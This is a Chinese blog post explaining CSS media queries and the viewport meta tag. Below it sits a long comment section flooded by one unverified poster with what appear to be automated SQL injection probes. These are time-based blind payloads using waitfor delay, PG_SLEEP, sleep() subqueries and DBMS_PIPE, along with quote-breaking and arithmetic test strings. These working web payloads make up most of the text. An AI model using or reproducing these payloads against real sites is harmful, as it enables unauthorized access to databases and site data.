耶穌對信祂的人說:「你們若常常遵守我的道,就真是我的門徒。你們必曉得真理,真理必叫你們得以自由。」(約翰福音 八:31)

2018/08/17 , 週五 - 15:36 By 資深工讀生
302 comments

Media Query 的使用方式有兩種:
1. 用 @media 來判斷使用者螢幕寬度,選擇載入哪一段 CSS
Ex:
@media screen and (max-device-width: 480px) {
    }

在螢幕小於 480px時,套用此 CSS

-----------

2. 在載入的地方,用 media 屬性判斷使用者裝置寬度,選擇載入哪一個 CSS 檔案
Ex:
<link rel="stylesheet" type="text/css" media="screen and (max-device-width: 480px)" href="middleScreen.css">

螢幕小於480px時,套用 middleScreen.css

-----------------

Viewport設定
<meta name="viewport" content="width=device-width; initial-scale=1.0">

文章分類

Comments

555AkMeVN7D'; waitfor delay '0:0:15' --
2026/03/03 , 二 - 00:02
QmeieRXR (未驗證)

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
2026/03/03 , 二 - 00:02
QmeieRXR (未驗證)

555-1 OR 41=(SELECT 41 FROM PG_SLEEP(15))--
2026/03/03 , 二 - 00:02
QmeieRXR (未驗證)

555-1; waitfor delay '0:0:15' --
2026/03/03 , 二 - 00:02
QmeieRXR (未驗證)

555-1) OR 243=(SELECT 243 FROM PG_SLEEP(15))--
2026/03/03 , 二 - 00:02
QmeieRXR (未驗證)

555
2026/03/03 , 二 - 00:02
QmeieRXR (未驗證)

555-1); waitfor delay '0:0:15' --
2026/03/03 , 二 - 00:02
QmeieRXR (未驗證)

555-1)) OR 690=(SELECT 690 FROM PG_SLEEP(15))--
2026/03/03 , 二 - 00:02
QmeieRXR (未驗證)

555
2026/03/03 , 二 - 00:02
QmeieRXR (未驗證)

555-1 waitfor delay '0:0:15' --
2026/03/03 , 二 - 00:02
QmeieRXR (未驗證)

555ac45o6oU' OR 93=(SELECT 93 FROM PG_SLEEP(15))--
2026/03/03 , 二 - 00:02
QmeieRXR (未驗證)

555
2026/03/03 , 二 - 00:02
QmeieRXR (未驗證)

555Kv425kJb'; waitfor delay '0:0:15' --
2026/03/03 , 二 - 00:02
QmeieRXR (未驗證)

555Pr8zt9Eo') OR 723=(SELECT 723 FROM PG_SLEEP(15))--
2026/03/03 , 二 - 00:02
QmeieRXR (未驗證)

555
2026/03/03 , 二 - 00:02
QmeieRXR (未驗證)

555-1 OR 519=(SELECT 519 FROM PG_SLEEP(15))--
2026/03/03 , 二 - 00:02
QmeieRXR (未驗證)

555QSChMCzT')) OR 234=(SELECT 234 FROM PG_SLEEP(15))--
2026/03/03 , 二 - 00:03
QmeieRXR (未驗證)

555
2026/03/03 , 二 - 00:03
QmeieRXR (未驗證)

555-1) OR 128=(SELECT 128 FROM PG_SLEEP(15))--
2026/03/03 , 二 - 00:03
QmeieRXR (未驗證)

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
2026/03/03 , 二 - 00:03
QmeieRXR (未驗證)

555
2026/03/03 , 二 - 00:03
QmeieRXR (未驗證)

555-1)) OR 584=(SELECT 584 FROM PG_SLEEP(15))--
2026/03/03 , 二 - 00:03
QmeieRXR (未驗證)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
2026/03/03 , 二 - 00:03
QmeieRXR (未驗證)

555
2026/03/03 , 二 - 00:03
QmeieRXR (未驗證)

555'"
2026/03/03 , 二 - 00:03
QmeieRXR (未驗證)

@@TUJcU
2026/03/03 , 二 - 00:03
QmeieRXR (未驗證)

(select 198766*667891)
2026/03/03 , 二 - 00:03
QmeieRXR (未驗證)

(select 198766*667891 from DUAL)
2026/03/03 , 二 - 00:03
QmeieRXR (未驗證)

555
2026/03/03 , 二 - 00:03
QmeieRXR (未驗證)

555qBxHHMhx' OR 695=(SELECT 695 FROM PG_SLEEP(15))--
2026/03/03 , 二 - 00:03
QmeieRXR (未驗證)

555
2026/03/03 , 二 - 00:03
QmeieRXR (未驗證)

555
2026/03/03 , 二 - 00:03
QmeieRXR (未驗證)

555BrpF0Uca') OR 533=(SELECT 533 FROM PG_SLEEP(15))--
2026/03/03 , 二 - 00:03
QmeieRXR (未驗證)

555
2026/03/03 , 二 - 00:03
QmeieRXR (未驗證)

555
2026/03/03 , 二 - 00:03
QmeieRXR (未驗證)

555x9g7p1J5')) OR 744=(SELECT 744 FROM PG_SLEEP(15))--
2026/03/03 , 二 - 00:03
QmeieRXR (未驗證)

555
2026/03/03 , 二 - 00:03
QmeieRXR (未驗證)

555
2026/03/03 , 二 - 00:03
QmeieRXR (未驗證)

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
2026/03/03 , 二 - 00:03
QmeieRXR (未驗證)

555
2026/03/03 , 二 - 00:03
QmeieRXR (未驗證)

555
2026/03/03 , 二 - 00:03
QmeieRXR (未驗證)

555
2026/03/03 , 二 - 00:03
QmeieRXR (未驗證)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
2026/03/03 , 二 - 00:03
QmeieRXR (未驗證)

555
2026/03/03 , 二 - 00:03
QmeieRXR (未驗證)

555
2026/03/03 , 二 - 00:03
QmeieRXR (未驗證)

555
2026/03/03 , 二 - 00:03
QmeieRXR (未驗證)

555'"
2026/03/03 , 二 - 00:03
QmeieRXR (未驗證)

555
2026/03/03 , 二 - 00:03
QmeieRXR (未驗證)

@@GDwHg
2026/03/03 , 二 - 00:03
QmeieRXR (未驗證)

555
2026/03/03 , 二 - 00:03
QmeieRXR (未驗證)

我要回應~